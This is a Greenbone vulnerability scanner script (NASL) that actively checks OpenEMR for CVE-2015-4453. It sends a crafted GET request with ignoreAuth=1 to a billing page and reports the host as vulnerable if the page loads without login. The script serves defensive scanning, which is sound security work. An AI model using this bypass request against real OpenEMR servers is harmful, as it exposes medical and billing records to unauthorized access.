OpenEMR 'interface/globals.php' Authentication Bypass Vulnerability - Active Check

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:open-emr:openemr";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105316");
  script_cve_id("CVE-2015-4453");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_version("2025-04-11T15:45:04+0000");

  script_name("OpenEMR 'interface/globals.php' Authentication Bypass Vulnerability - Active Check");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/75299");

  script_tag(name:"summary", value:"OpenEMR is prone to an authentication bypass vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"A bug in OpenEMR's implementation of 'fake register_globals' in
  interface/globals.php allows an attacker to bypass authentication by sending ignoreAuth=1 as a GET
  or POST request parameter.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to bypass the authentication
  mechanism and perform unauthorized actions. This may aid in further attacks.");

  script_tag(name:"affected", value:"OpenEMR versions 2.8.3 through 4.2.0 patch 1.");

  script_tag(name:"solution", value:"Updates are available.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_active");

  script_tag(name:"last_modification", value:"2025-04-11 15:45:04 +0000 (Fri, 11 Apr 2025)");
  script_tag(name:"creation_date", value:"2015-07-08 13:23:01 +0200 (Wed, 08 Jul 2015)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_dependencies("gb_openemr_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("openemr/http/detected");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

url = dir + "/interface/billing/sl_eob_search.php?ignoreAuth=1";

if( http_vuln_check( port:port, url:url, pattern:"<title>EOB Posting - Search" ) ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );